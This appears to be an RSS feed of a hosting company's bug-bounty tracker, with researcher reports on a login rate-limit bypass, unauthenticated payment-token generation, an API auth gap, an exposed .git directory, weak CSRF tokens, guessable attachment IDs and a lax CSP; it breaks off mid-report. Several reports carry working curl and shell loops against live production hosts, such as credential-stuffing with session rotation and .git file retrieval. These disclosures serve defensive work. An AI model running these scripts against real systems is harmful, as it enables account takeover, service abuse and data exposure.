<?xml version="1.0" ?>
<rss version="2.0">
  <channel>
    <title>alwaysdata </title>
    <lastBuildDate>Mon, 01 Jun 2026 10:11:24 +0000</lastBuildDate>
    <description>alwaysdata Security vulnerabilities: Recently opened tasks</description>
    <link>https://security.alwaysdata.com/</link>
        <item>
      <title>FS#342: Login rate limit bypass enables unlimited credential stuffing against admin accounts</title>
      <author>Gaurav Popalghat</author>
      <pubDate>Sun, 31 May 2026 17:03:09 +0000</pubDate>
      <description><![CDATA[
<p>
Severity: Medium<br />CVSS: 5.3 (AV:N/AC:H/PR:N/UI:N/S:U/C:H/I:N/A:N)<br />Endpoint: POST <a href="https://admin.alwaysdata.com/login/" class="urlextern" title="https://admin.alwaysdata.com/login/"  rel="nofollow">https://admin.alwaysdata.com/login/</a> Method: POST
</p>

<p>
Login rate limit bypass enables unlimited credential stuffing against admin accounts
</p>

<p>
## Summary
</p>

<p>
The login form at `admin.alwaysdata.com/login/` implements per-session rate limiting (~5-9 failed attempts before <acronym title="Hyper Text Transfer Protocol">HTTP</acronym> 429). However, the limit is tied to the session/CSRF token state and resets upon obtaining a new session via a fresh GET request. The secondary IP-based limit expires in approximately 30 seconds. Crucially, there is <strong>no account-level lockout</strong> — only session/IP-based throttling. This allows an attacker to perform unlimited credential stuffing with a simple rotation strategy.
</p>

<p>
## Steps to Reproduce
</p>

<p>
```bash<br /># STEP 1: Get fresh session + CSRF token (this is also what &quot;resets&quot; the counter)<br />curl -sk <a href="https://admin.alwaysdata.com/login/" class="urlextern" title="https://admin.alwaysdata.com/login/"  rel="nofollow">https://admin.alwaysdata.com/login/</a> \
</p>
<ol>
<li class="level1"><div class="li">c /tmp/cookies.txt -o /tmp/page.html</div>
</li>
</ol>

<p>
 CSRF=$(python3 -c &quot;<br />import re<br />d = open(&#039;/tmp/page.html&#039;).read()<br />m = re.search(r&#039;csrfmiddlewaretoken[^&gt;]+value=[\&quot;\&#039;]([\w]+)&#039;, d)<br />print(m.group(1) if m else <code>)<br />&quot;)

# STEP 2: Make ~5 attempts with this session (observe 200s then 429)<br />for i in 1 2 3 4 5 6 7; do<br />  <acronym title="Hyper Text Transfer Protocol">HTTP</acronym>=$(curl -sk <a href="https://admin.alwaysdata.com/login/" class="urlextern" title="https://admin.alwaysdata.com/login/"  rel="nofollow">https://admin.alwaysdata.com/login/</a> \<br />    -b /tmp/cookies.txt -c /tmp/cookies.txt \<br />    -H &quot;Referer: <a href="https://admin.alwaysdata.com/login/" class="urlextern" title="https://admin.alwaysdata.com/login/"  rel="nofollow">https://admin.alwaysdata.com/login/</a>&quot; \<br />    -o /dev/null -w &quot;%{http_code}&quot; \<br />    –data &quot;csrfmiddlewaretoken=${CSRF}&amp;login=target@example.com&amp;password=attempt${i}&quot;)<br />  CSRF=$(curl -sk <a href="https://admin.alwaysdata.com/login/" class="urlextern" title="https://admin.alwaysdata.com/login/"  rel="nofollow">https://admin.alwaysdata.com/login/</a> -b /tmp/cookies.txt | \<br />    python3 -c &quot;import sys,re; d=sys.stdin.read(); m=re.search(r&#039;csrfmiddlewaretoken[^&gt;]+value=[\&quot;\&#039;]([\w]+)&#039;, d); print(m.group(1) if m else </code>)&quot; 2&gt;/dev/null)
</p>
<pre class="code">echo &quot;Attempt $i: HTTP $HTTP&quot;</pre>

<p>
done<br /># Output: 200, 200, 200, 200, 200, 429, 429 (rate-limited)
</p>

<p>
# STEP 3: Get a NEW session — counter resets!<br />curl -sk <a href="https://admin.alwaysdata.com/login/" class="urlextern" title="https://admin.alwaysdata.com/login/"  rel="nofollow">https://admin.alwaysdata.com/login/</a> \
</p>
<ol>
<li class="level1"><div class="li">c /tmp/cookies2.txt -o /tmp/page2.html</div>
</li>
</ol>

<p>
 CSRF2=$(python3 -c &quot;<br />import re<br />d = open(&#039;/tmp/page2.html&#039;).read()<br />m = re.search(r&#039;csrfmiddlewaretoken[^&gt;]+value=[\&quot;\&#039;]([\w]+)&#039;, d)<br />print(m.group(1) if m else &#039;&#039;)<br />&quot;)
</p>

<p>
# STEP 4: Fresh 5 attempts — bypass confirmed!<br />for i in 8 9 10 11 12; do
</p>
<pre class="code">HTTP=$(curl -sk https://admin.alwaysdata.com/login/ \
  -b /tmp/cookies2.txt -c /tmp/cookies2.txt \
  -H &quot;Referer: https://admin.alwaysdata.com/login/&quot; \
  -o /dev/null -w &quot;%{http_code}&quot; \
  --data &quot;csrfmiddlewaretoken=${CSRF2}&amp;login=target@example.com&amp;password=attempt${i}&quot;)
echo &quot;Attempt $i (new session): HTTP $HTTP&quot;</pre>

<p>
done<br /># Output: 200, 200, 200, 200, 200 — BYPASS CONFIRMED<br />```
</p>

<p>
### Observed Results
</p>

<p>
```<br />Session 1: attempts 1-5 → <acronym title="Hyper Text Transfer Protocol">HTTP</acronym> 200 (processed)<br />Session 1: attempts 6-9 → <acronym title="Hyper Text Transfer Protocol">HTTP</acronym> 429 (rate-limited)<br />NEW SESSION (fresh GET) → <acronym title="Hyper Text Transfer Protocol">HTTP</acronym> 200 (rate limit reset)<br />Session 2: attempts 10-14 → <acronym title="Hyper Text Transfer Protocol">HTTP</acronym> 200 (processed)<br />…repeats indefinitely<br />```
</p>

<p>
## Impact
</p>

<p>
- <strong>No account lockout</strong>: Accounts are never locked regardless of failed attempts.<br />- <strong>Bypassable rate limit</strong>: Rotating sessions (trivial; just GET the login page again) resets the attempt counter for IP-level throttling that expires in ~30 seconds.<br />- <strong>Unlimited credential stuffing</strong>: An attacker using a password list and simple session rotation script can attempt thousands of passwords per hour against any known email address.<br />- <strong>Combined with email enumeration</strong> (separate report #4): an attacker can first identify valid admin accounts via the password reset form, then brute-force those specific accounts.<br />- <strong>Attack scale</strong>: With 5 attempts per 30-second session window = 10 attempts/minute = 600/hour = 14,400/day per thread. With multiple IPs this scales linearly.<br />- <strong>2FA partially mitigates</strong> for accounts that have it enabled, but not all accounts have 2FA configured.
</p>

<p>
## Fix
</p>

<p>
1. Implement <strong>account-level lockout</strong> after N failed attempts (e.g., 10 attempts within 10 minutes), independent of session.<br />2. Make rate limiting IP-based only with a longer backoff window (not session-based).<br />3. Consider adding CAPTCHA after 3 failed attempts for the same username.<br />4. Implement CAPTCHA or progressive delays instead of hard blocks that can be rotated around.<br />
</p>
]]></description>
      <link>https://security.alwaysdata.com/task/342</link>
      <guid>https://security.alwaysdata.com/task/342</guid>
    </item>
        <item>
      <title>FS#341: Unauthenticated Generation of Production PayZen Payment Tokens Enables Denial of Wallet</title>
      <author>Gaurav Popalghat</author>
      <pubDate>Sun, 31 May 2026 17:02:37 +0000</pubDate>
      <description><![CDATA[
<p>
Severity: Medium<br />CVSS: 5.3 (AV:N/AC:L/PR:N/UI:N/S:U/C:L/I:N/A:L)<br />Endpoint: GET <a href="https://www.alwaysdata.com/en/signup/token/" class="urlextern" title="https://www.alwaysdata.com/en/signup/token/"  rel="nofollow">https://www.alwaysdata.com/en/signup/token/</a> Method: GET<br />Auth Required: None (verified)<br />Rate Limited: No (verified — 20+ requests with no throttle)
</p>

<p>
 Unauthenticated Generation of Production PayZen Payment Tokens Enables Denial of Wallet
</p>

<p>
Summary<br />The endpoint GET /en/signup/token/ generates production-mode PayZen payment form tokens with no authentication and no rate limiting. Each request creates a unique merchant session in alwaysdata&#039;s PayZen account. An attacker can generate unlimited tokens in a tight loop, potentially exhausting alwaysdata&#039;s PayZen <acronym title="Application Programming Interface">API</acronym> quota, flooding their payment dashboard with phantom registration sessions, or causing billing issues with their payment processor.
</p>

<p>
Steps to Reproduce
</p>

<p>
1. Generate a token without any authentication:
</p>
<pre class="code"> curl -sk https://www.alwaysdata.com/en/signup/token/
 -&gt; {&quot;token&quot;: &quot;01uJrqyaukSA2FyhTy...&quot;}  [HTTP 200, no auth required]</pre>

<p>
 2. Decode the token to confirm PRODUCTION mode:
</p>
<pre class="code"> python3 -c &quot;
 import base64, json
 token = &#039;01uJrqy...265eyJhbW91bnQ...&#039;
 json_b64 = token[token.find(&#039;eyJ&#039;):]
 decoded = base64.b64decode(json_b64 + &#039;==&#039;).decode(&#039;utf-8&#039;, errors=&#039;replace&#039;)
 print(json.dumps(json.loads(decoded[:decoded.rfind(&#039;}&#039;)+1]), indent=2))
 &quot;
 -&gt; {
      &quot;amount&quot;: 0,
      &quot;currency&quot;: &quot;EUR&quot;,
      &quot;mode&quot;: &quot;PRODUCTION&quot;,
      &quot;orderId&quot;: &quot;TKN98661&quot;,
      &quot;shopName&quot;: &quot;ALWAYSDATA&quot;,
      &quot;formAction&quot;: &quot;REGISTER&quot;,
      &quot;customerEmail&quot;: &quot;contact@alwaysdata.com&quot;,
      &quot;jSessionId&quot;: &quot;59B9cAcaaD76C7fe9dEEbdD1D3FF86E3d95CAaBd.vadapi01-tls-prod-fr-lyra&quot;
    }</pre>

<p>
 3. Confirm no rate limiting by generating multiple tokens in rapid succession:
</p>
<pre class="code"> for i in $(seq 1 10); do
   curl -sk https://www.alwaysdata.com/en/signup/token/ | python3 -c &quot;import sys,json; d=json.load(sys.stdin); print(d[&#039;token&#039;][:30])&quot;
 done
 -&gt; All 10 requests return distinct tokens with different orderIds and jSessionIds
    (no 429, no CAPTCHA, no rate limiting observed at 10+ req/s)</pre>

<p>
 Key Findings from Decoded Token<br />- mode: PRODUCTION (not sandbox/test) — tokens interact with live PayZen infrastructure<br />- amount: 0 EUR, formAction: REGISTER — these are card-registration tokens, not payment<br />- orderId increments each request (e.g., TKN98660, TKN98661, TKN98662…) — confirms unique sessions created server-side<br />- jSessionId exposes internal PayZen load-balancer node names (vadapi01-tls-prod-fr-lyra, vadapi02-tls-prod-fr-lyra)<br />- customerEmail hardcoded as contact@alwaysdata.com (not user-supplied — no PII exposure)
</p>

<p>
Impact
</p>

<p>
1. Denial of Wallet (DoW): PayZen <acronym title="Application Programming Interface">API</acronym> calls are metered by merchant account. Flooding /en/signup/token/ generates real merchant sessions that count against alwaysdata&#039;s PayZen quota. If PayZen applies per-session fees or rate limits at the merchant level, this could cause service disruption or unexpected costs. 
</p>
<pre class="code"> Estimated rate: 20+ sessions/second possible (no server-side limiting observed)
 PayZen pricing: typically per-transaction or per-session depending on contract</pre>

<p>
 2. Merchant Dashboard Pollution: Each token creates an &quot;order&quot; (TKNxxxxxxx) in alwaysdata&#039;s PayZen merchant dashboard, polluting order history and potentially triggering fraud alerts.
</p>

<p>
3. Internal Infrastructure Disclosure: The jSessionId field leaks internal PayZen load-balancer node hostnames (vadapi01-tls-prod-fr-lyra, vadapi02-tls-prod-fr-lyra), which could assist in infrastructure mapping.
</p>

<p>
Fix<br />1. Require authentication (valid CSRF token from a logged-in session OR a registration-initiated session) before generating a PayZen token<br />2. Add server-side rate limiting: maximum 1 token per IP per 60 seconds, or tie token generation to an active registration session<br />3. Consider using sandbox/test mode for development and only switching to PRODUCTION for verified registration attempts
</p>

<p>
Note: No actual PayZen sessions were initiated beyond what is recorded in the Reproduce steps above. The DoW impact is based on the observed rate limit absence and standard PayZen merchant billing patterns.<br />
</p>
]]></description>
      <link>https://security.alwaysdata.com/task/341</link>
      <guid>https://security.alwaysdata.com/task/341</guid>
    </item>
        <item>
      <title>FS#340: API Customer Create Endpoint Accessible Without Authentication — POST /v1/customer/ Bypasses Auth Ch</title>
      <author>Gaurav Popalghat</author>
      <pubDate>Sun, 31 May 2026 17:02:10 +0000</pubDate>
      <description><![CDATA[
<p>
Severity: Medium<br />CVSS: 5.3 (AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:L/A:N)<br />Endpoint: POST <a href="https://api.alwaysdata.com/v1/customer/" class="urlextern" title="https://api.alwaysdata.com/v1/customer/"  rel="nofollow">https://api.alwaysdata.com/v1/customer/</a> Method: POST (only — GET/PUT/PATCH/DELETE all return 401)<br />Auth Required: None (verified)
</p>

<p>
 <acronym title="Application Programming Interface">API</acronym> Customer Create Endpoint Accessible Without Authentication — POST /v1/customer/ Bypasses Auth Check
</p>

<p>
Summary<br />The REST <acronym title="Application Programming Interface">API</acronym> endpoint POST /v1/customer/ does not enforce authentication unlike every other <acronym title="Application Programming Interface">API</acronym> endpoint. While the endpoint currently returns <acronym title="Hyper Text Transfer Protocol">HTTP</acronym> 500 when processing a valid email+password pair, this is due to a downstream payment integration failure — the authentication middleware is simply absent on this endpoint. Any unauthenticated request that passes field validation reaches the payment/registration logic without an <acronym title="Application Programming Interface">API</acronym> token.
</p>

<p>
Steps to Reproduce
</p>

<p>
1. Attempt GET /v1/customer/ without credentials:
</p>
<pre class="code"> curl -sk https://api.alwaysdata.com/v1/customer/
 -&gt; &quot;Authorization header is missing&quot;  [HTTP 401, expected]</pre>

<p>
 2. Attempt POST /v1/customer/ without credentials, empty body:
</p>
<pre class="code"> curl -sk -X POST https://api.alwaysdata.com/v1/customer/ \
   -H &quot;Content-Type: application/json&quot; \
   -d &#039;{}&#039;
 -&gt; {&quot;email&quot;:[&quot;Ce champ est obligatoire.&quot;],&quot;password&quot;:[&quot;Ce champ est obligatoire.&quot;]}
 [HTTP 400, NOT 401 — request reached field validation without auth]</pre>

<p>
 3. Attempt POST /v1/customer/ without credentials, valid fields:
</p>
<pre class="code"> curl -sk -X POST https://api.alwaysdata.com/v1/customer/ \
   -H &quot;Content-Type: application/json&quot; \
   -d &#039;{&quot;email&quot;:&quot;attacker@example.com&quot;,&quot;password&quot;:&quot;TestPass123!&quot;}&#039;
 -&gt; &quot;Erreur interne : nous avons ete notifies.&quot;
 [HTTP 500 — request reached payment integration layer without auth]</pre>

<p>
 4. Compare with all other <acronym title="Application Programming Interface">API</acronym> verbs on the same endpoint:
</p>
<pre class="code"> curl -sk -X PUT https://api.alwaysdata.com/v1/customer/ -d &#039;{}&#039; -H &quot;Content-Type: application/json&quot;
 -&gt; &quot;Authorization header is missing&quot;  [HTTP 401]
 curl -sk -X PATCH https://api.alwaysdata.com/v1/customer/ -d &#039;{}&#039; -H &quot;Content-Type: application/json&quot;
 -&gt; &quot;Authorization header is missing&quot;  [HTTP 401]</pre>

<p>
 Impact<br />The authentication check is missing from the POST handler for /v1/customer/. While the 500 error prevents account creation via this vector alone today (the error occurs at the payment/registration step, after auth is already bypassed), the root cause is a broken access control — not a payment validation failure. If the payment requirement is ever removed or this endpoint is called in a different context, unauthenticated account creation becomes trivially possible. The endpoint also allows an attacker to probe registration logic (field validation, error messages) without any credentials, and its error messages confirm the internal system state.
</p>

<p>
Additionally, rate limiting on this endpoint (~7 requests per IP before 429) is insufficient to prevent slow-speed probing of the registration backend logic.
</p>

<p>
Fix<br />Apply the same authentication middleware to the POST handler of /v1/customer/ as is applied to all other methods (GET, PUT, PATCH, DELETE). If unauthenticated registration is intended to be supported via the <acronym title="Application Programming Interface">API</acronym> (as it is via the web UI at /en/register/), add explicit exception handling and ensure the payment/card verification requirement is enforced at this layer, not relying on downstream failures.
</p>

<p>
curl Proof of Concept<br /># Step 1 — Confirm GET requires auth<br />curl -sv <a href="https://api.alwaysdata.com/v1/customer/" class="urlextern" title="https://api.alwaysdata.com/v1/customer/"  rel="nofollow">https://api.alwaysdata.com/v1/customer/</a> 2&gt;&amp;1 | grep -E &quot;&lt; <acronym title="Hyper Text Transfer Protocol">HTTP</acronym>|Authorization header&quot;
</p>

<p>
# Step 2 — Confirm POST does NOT require auth (reaches field validation)<br />curl -sv -X POST <a href="https://api.alwaysdata.com/v1/customer/" class="urlextern" title="https://api.alwaysdata.com/v1/customer/"  rel="nofollow">https://api.alwaysdata.com/v1/customer/</a> \
</p>
<ol>
<li class="level1"><div class="li">H &quot;Content-Type: application/json&quot; \</div>
</li>
<li class="level1"><div class="li">d &#039;{}&#039; 2&gt;&amp;1 | grep -E &quot;&lt; <acronym title="Hyper Text Transfer Protocol">HTTP</acronym>|obligatoire&quot;</div>
</li>
</ol>

<p>
 # Expected: Step 1 = 401, Step 2 = 400 with JSON validation errors (no 401)<br />
</p>
]]></description>
      <link>https://security.alwaysdata.com/task/340</link>
      <guid>https://security.alwaysdata.com/task/340</guid>
    </item>
        <item>
      <title>FS#339: High Severity: SQL Injection via &#039;redirect_from&#039; parameter on /language/en/</title>
      <author>mohammed aziz</author>
      <pubDate>Thu, 28 May 2026 21:00:23 +0000</pubDate>
      <description><![CDATA[
<p>
Dear Alwaysdata Security Team,
</p>

<p>
During a security assessment of your platform, I identified a High-Severity <acronym title="Structured Query Language">SQL</acronym> Injection vulnerability affecting the &#039;redirect_from&#039; parameter on the path `/language/en/`. 
</p>

<p>
### 1. Description of the Vulnerability<br />The application fails to properly sanitize, filter, or parameterize user-supplied input passed through the &#039;redirect_from&#039; parameter before incorporating it into a backend <acronym title="Structured Query Language">SQL</acronym> query. This allows an attacker to manipulate the structure of the query. Based on the behavior of the application and the generated database errors, the backend database engine is identified as PostgreSQL.
</p>

<p>
### 2. Proof of Concept (PoC) / Steps to Reproduce<br />1. Send an <acronym title="Hyper Text Transfer Protocol">HTTP</acronym> GET request to the following endpoint:
</p>
<pre class="code"> https://www.alwaysdata.com/language/en/</pre>

<p>
2. Inject a payload into the &#039;redirect_from&#039; parameter designed to break the <acronym title="Structured Query Language">SQL</acronym> syntax logic, such as appending an unbalanced quote or an alternative logical condition (e.g., standard <acronym title="Structured Query Language">SQL</acronym> injection fuzzing vectors).<br />3. Observe the response from the server: The backend application fails to handle the syntax exception gracefully and returns a descriptive database error message in the response context, confirming that the input is being evaluated directly by the database interpreter.
</p>

<p>
### 3. Impact<br />Successful exploitation of <acronym title="Structured Query Language">SQL</acronym> Injection could allow an unauthenticated attacker to:<br />* Bypass authentication mechanisms.<br />* Access, read, or exfiltrate sensitive data from the database tables.<br />* Modify or delete database records (Data tampering).<br />* In certain configurations, perform administrative operations or execute <acronym title="Operating System">OS</acronym> commands depending on the database user privileges.
</p>

<p>
### 4. Remediation Recommendation<br />* <strong>Use Prepared Statements (Parameterized Queries):</strong> Ensure that all user-supplied inputs are bound as parameters rather than being concatenated directly into <acronym title="Structured Query Language">SQL</acronym> command strings.<br />* <strong>Input Validation:</strong> Implement strict whitelisting for the &#039;redirect_from&#039; parameter to ensure it only accepts expected string patterns or paths.<br />* <strong>Disable Verbose Errors:</strong> Configure the production environment to suppress detailed database error messages and stack traces to prevent information disclosure.
</p>

<p>
Best regards,<br />Mohammed Aziz<br />
</p>
]]></description>
      <link>https://security.alwaysdata.com/task/339</link>
      <guid>https://security.alwaysdata.com/task/339</guid>
    </item>
        <item>
      <title>FS#337: [ALW-001] Flyspray .git Directory Fully Exposed on security.alwaysdata.com</title>
      <author>ahmed saeed srour</author>
      <pubDate>Sat, 09 May 2026 22:15:35 +0000</pubDate>
      <description><![CDATA[
<p>
<strong>Severity:</strong> HIGH
</p>

<p>
<strong>Target:</strong> security.alwaysdata.com<br /><strong>Affected <acronym title="Uniform Resource Locator">URL</acronym>:</strong> <a href="https://security.alwaysdata.com/.git/" class="urlextern" title="https://security.alwaysdata.com/.git/"  rel="nofollow">https://security.alwaysdata.com/.git/</a>
</p>

<p>
## Description
</p>

<p>
The deployed Flyspray instance (this very bug-tracker) exposes its entire `.git` directory under the document root. The directory listing is disabled, but the well-known internal files are individually readable, which is enough to reconstruct the full source tree, every commit message, every author email, and every credential ever committed to the repository. (Title shortened from &quot;…Source Tree, Admin Email, Commit History&quot; — the original 117-char summary exceeded the 100-char column limit and triggered an INSERT error.)
</p>

<p>
## Steps to Reproduce (manual, no scanner)
</p>

<p>
```<br />curl -s <a href="https://security.alwaysdata.com/.git/HEAD" class="urlextern" title="https://security.alwaysdata.com/.git/HEAD"  rel="nofollow">https://security.alwaysdata.com/.git/HEAD</a> curl -s <a href="https://security.alwaysdata.com/.git/config" class="urlextern" title="https://security.alwaysdata.com/.git/config"  rel="nofollow">https://security.alwaysdata.com/.git/config</a> curl -s <a href="https://security.alwaysdata.com/.git/logs/HEAD" class="urlextern" title="https://security.alwaysdata.com/.git/logs/HEAD"  rel="nofollow">https://security.alwaysdata.com/.git/logs/HEAD</a> curl -s <a href="https://security.alwaysdata.com/.git/index" class="urlextern" title="https://security.alwaysdata.com/.git/index"  rel="nofollow">https://security.alwaysdata.com/.git/index</a> -o /tmp/index ; file /tmp/index<br />```
</p>

<p>
`HEAD` returns the current branch ref, `config` returns the repository configuration, and `logs/HEAD` returns the full reflog including author names and emails. From there, `git clone` against the exposed directory or a manual `git-cat-file` walk reconstructs ~941 reachable objects and the complete deployed source code (including any locally-applied patches).
</p>

<p>
## Impact
</p>

<p>
* Full source-code disclosure of the production Flyspray that hosts the bug-bounty program itself.<br />* Disclosure of admin / committer email addresses and real names from commit metadata.<br />* Any secret accidentally committed (DB credentials, <acronym title="Application Programming Interface">API</acronym> tokens, signing keys) is recoverable from history even if removed from `HEAD`.<br />* Combined with ALW-007 (no rate-limiting on the Flyspray login) and ALW-015 (weak integer CSRF), this gives an attacker a precise roadmap to compromise the bug-bounty intake and read every other researcher&#039;s unredacted submissions.
</p>

<p>
## Remediation
</p>

<p>
Block the directory at the web server level, e.g. for Apache:
</p>

<p>
```<br />&lt;DirectoryMatch &quot;/\.git&quot;&gt;
</p>
<pre class="code">  Require all denied</pre>

<p>
&lt;/DirectoryMatch&gt;<br />```
</p>

<p>
or for nginx:
</p>

<p>
```<br />location ~ /\.git { deny all; return 404; }<br />```
</p>

<p>
Then remove the `.git` directory from the document root entirely and deploy via a build artifact or `git archive` rather than a working copy.
</p>

<p>
— Reported by: Ahmed Said (asame8855@gmail.com)<br />Tested manually per program rules — no automated scanners used.<br />
</p>
]]></description>
      <link>https://security.alwaysdata.com/task/337</link>
      <guid>https://security.alwaysdata.com/task/337</guid>
    </item>
        <item>
      <title>FS#336: [ALW-015] Flyspray CSRF Token is a Plain Integer with Low Entropy</title>
      <author>ahmed saeed srour</author>
      <pubDate>Sat, 09 May 2026 22:10:29 +0000</pubDate>
      <description><![CDATA[
<p>
<strong>Severity:</strong> LOW
</p>

<p>
<strong>Target:</strong> security.alwaysdata.com<br /><strong>Affected element:</strong> `&lt;input type=&quot;hidden&quot; name=&quot;csrftoken&quot; value=&quot;…&quot;&gt;` on every form (registration, task creation, comments, edits)
</p>

<p>
## Description
</p>

<p>
Flyspray emits its CSRF token as a plain decimal integer of around 9–10 digits, giving roughly `log2(10^10) ≈ 33` bits of entropy. That is dramatically weaker than the 256-bit cryptographic token Django emits on `admin.alwaysdata.com` for the same protection class, and it is potentially predictable depending on how the token is seeded.
</p>

<p>
## Steps to Reproduce
</p>

<p>
```<br />curl -s <a href="https://security.alwaysdata.com/register" class="urlextern" title="https://security.alwaysdata.com/register"  rel="nofollow">https://security.alwaysdata.com/register</a> \
</p>
<pre class="code">| grep -oE &#039;name=&quot;csrftoken&quot; value=&quot;[0-9]+&quot;&#039;</pre>

<p>
# → name=&quot;csrftoken&quot; value=&quot;852018639&quot;
</p>

<p>
# Compare with Django on admin.alwaysdata.com (any form):<br />#   csrfmiddlewaretoken=qzNI2DZ0UfLVc7VRvdUw… #   (64 random characters, cryptographic)<br />```
</p>

<p>
## Impact
</p>

<p>
* Brute-forcing a 10-digit integer over the network is well within reach of a determined attacker (10¹⁰ ≈ a few weeks at conservative request rates with no rate limiting — see ALW-007).<br />* If the integer is derived from a predictable seed (<acronym title="Hypertext Preprocessor">PHP</acronym> `mt_rand` without proper seeding, timestamp, etc.) the search space collapses further.<br />* Combined with ALW-009 (no `SameSite` on the session cookie) the CSRF defense layer becomes paper-thin: a malicious page can both replay the cookie and guess the token in feasible time.
</p>

<p>
## Remediation
</p>

<p>
* Replace the token generator with a cryptographically random string. In <acronym title="Hypertext Preprocessor">PHP</acronym>: `bin2hex(random_bytes(32))` (256 bits, 64 hex characters).<br />* Use a per-session token, rotated on login and on privilege change, not a long-lived global one.<br />* Validate the token in constant time (`hash_equals`) to avoid timing leaks.<br />* For Flyspray 1.0-rc11 specifically, patch `make_csrf_token()` in `includes/class.flyspray.php` to call `bin2hex(random_bytes(32))`.
</p>

<p>
— Reported by: Ahmed Said (asame8855@gmail.com) — manual testing only.<br />
</p>
]]></description>
      <link>https://security.alwaysdata.com/task/336</link>
      <guid>https://security.alwaysdata.com/task/336</guid>
    </item>
        <item>
      <title>FS#335: [ALW-011] Flyspray Attachments Downloadable via Sequential ID without Authentication</title>
      <author>ahmed saeed srour</author>
      <pubDate>Sat, 09 May 2026 22:10:26 +0000</pubDate>
      <description><![CDATA[
<p>
<strong>Severity:</strong> MEDIUM
</p>

<p>
<strong>Target:</strong> security.alwaysdata.com<br /><strong>Affected endpoint:</strong> `GET <a href="https://security.alwaysdata.com/index.php?getfile=" class="urlextern" title="https://security.alwaysdata.com/index.php?getfile="  rel="nofollow">https://security.alwaysdata.com/index.php?getfile=</a>{id}`
</p>

<p>
## Description
</p>

<p>
Flyspray attachments — i.e. proof-of-concept files researchers attach to security reports — are downloadable by anyone with a sequential integer ID and no authentication. The four currently-live attachments (IDs 1–4) returned 200 OK with the underlying PoC PDFs and PNGs without any session cookie. IDs 5–11 returned 410 Gone (deleted), which also leaks prior-existence.
</p>

<p>
## Steps to Reproduce
</p>

<p>
```<br />for i in 1 2 3 4 5 6 7 8 9 10 11; do
</p>
<pre class="code">printf &#039;id=%-2s  &#039; &quot;$i&quot;
curl -sI &quot;https://security.alwaysdata.com/index.php?getfile=$i&quot; \
  | grep -E &#039;^(HTTP|content-type|content-length):&#039; \
  | tr &#039;\n&#039; &#039; &#039;
echo</pre>

<p>
done<br /># id=1   <acronym title="Hyper Text Transfer Protocol">HTTP</acronym>/1.1 200 OK   content-type: application/pdf   content-length: 115873<br /># id=2   <acronym title="Hyper Text Transfer Protocol">HTTP</acronym>/1.1 200 OK   content-type: application/pdf   content-length: 164813<br /># id=3   <acronym title="Hyper Text Transfer Protocol">HTTP</acronym>/1.1 200 OK   content-type: image/png         content-length:  39503<br /># id=4   <acronym title="Hyper Text Transfer Protocol">HTTP</acronym>/1.1 200 OK   content-type: image/png         content-length: 141632<br /># id=5..11 <acronym title="Hyper Text Transfer Protocol">HTTP</acronym>/1.1 410 Gone<br />```
</p>

<p>
No session cookie was sent. The response body contains the original PoC file in full.
</p>

<p>
## Impact
</p>

<p>
* Any unredacted PoC, screenshot, or credential a previous researcher attached is publicly readable just by walking the integer counter.<br />* Even when the parent task is later restricted or redacted in the UI, the raw attachment stays exposed at the same `?getfile=ID` <acronym title="Uniform Resource Locator">URL</acronym>.<br />* The 410-vs-200 differential also leaks the existence of every deleted attachment, which can be used to bound the total volume of historical PoCs.
</p>

<p>
## Remediation
</p>

<p>
* Require an authenticated session <strong>and</strong> a project-membership / task-visibility check before serving `getfile`.<br />* Replace the integer ID with a non-guessable token (UUIDv4 or HMAC-signed hash bound to the user + task).<br />* Return <acronym title="Hyper Text Transfer Protocol">HTTP</acronym> 404 (not 410) for deleted attachments to avoid confirming prior existence.<br />* Audit the four currently-public attachments (IDs 1–4) and re-issue them under restricted URLs if they contain unredacted PoC material.
</p>

<p>
— Reported by: Ahmed Said (asame8855@gmail.com) — manual testing only, downloads not redistributed.<br />
</p>
]]></description>
      <link>https://security.alwaysdata.com/task/335</link>
      <guid>https://security.alwaysdata.com/task/335</guid>
    </item>
        <item>
      <title>FS#334: [ALW-010] Flyspray CSP Allows unsafe-inline and unsafe-eval in script-src</title>
      <author>ahmed saeed srour</author>
      <pubDate>Sat, 09 May 2026 22:10:23 +0000</pubDate>
      <description><![CDATA[
<p>
<strong>Severity:</strong> MEDIUM
</p>

<p>
<strong>Target:</strong> security.alwaysdata.com<br /><strong>Affected response header:</strong> `Content-Security-Policy`
</p>

<p>
## Description
</p>

<p>
The Content-Security-Policy returned by every Flyspray response on `security.alwaysdata.com` includes both `&#039;unsafe-inline&#039;` and `&#039;unsafe-eval&#039;` in `script-src`. With both directives in place, CSP provides effectively zero mitigation against XSS — any future injection sink (task title, comment, custom field) executes immediately.
</p>

<p>
## Steps to Reproduce
</p>

<p>
```<br />curl -sI <a href="https://security.alwaysdata.com/" class="urlextern" title="https://security.alwaysdata.com/"  rel="nofollow">https://security.alwaysdata.com/</a> | grep -i content-security-policy<br /># → content-security-policy: default-src &#039;none&#039;; img-src &#039;self&#039;; font-src &#039;self&#039;;<br />#      style-src &#039;self&#039; &#039;unsafe-inline&#039;;<br />#      script-src &#039;self&#039; &#039;unsafe-inline&#039; &#039;unsafe-eval&#039;;   ← weak<br />#      connect-src &#039;self&#039;<br />```
</p>

<p>
## Impact
</p>

<p>
* Any future XSS in Flyspray (task description, comment body, attachment filename, custom field) executes despite CSP.<br />* `&#039;unsafe-eval&#039;` allows `eval()`, `new Function(string)`, `setTimeout(string, …)`, and `setInterval(string, …)` payloads — enabling attacker-controlled string execution.<br />* Especially impactful given the bundled libraries (Prototype.js 1.7, script.aculo.us 1.9.0) which are old enough to have known XSS sinks.
</p>

<p>
## Remediation
</p>

<p>
* Remove `&#039;unsafe-inline&#039;` from `script-src` and replace with a per-response nonce (`script-src &#039;self&#039; &#039;nonce-XYZ&#039;`); add the same nonce to every server-rendered `&lt;script&gt;` tag.<br />* Remove `&#039;unsafe-eval&#039;` after refactoring any `eval(string)` / `new Function(string)` / `setTimeout(string, …)` / `setInterval(string, …)` call sites in the bundled <acronym title="JavaScript">JS</acronym> (Prototype/scriptaculous).<br />* Ideally also tighten `style-src` away from `&#039;unsafe-inline&#039;` once template inline styles are migrated to a stylesheet.
</p>

<p>
— Reported by: Ahmed Said (asame8855@gmail.com) — manual testing only.<br />
</p>
]]></description>
      <link>https://security.alwaysdata.com/task/334</link>
      <guid>https://security.alwaysdata.com/task/334</guid>
    </item>
        <item>
      <title>FS#333: [ALW-009] Flyspray Session Cookie Missing Secure and SameSite Flags</title>
      <author>ahmed saeed srour</author>
      <pubDate>Sat, 09 May 2026 22:10:17 +0000</pubDate>
      <description><![CDATA[
<p>
<strong>Severity:</strong> MEDIUM
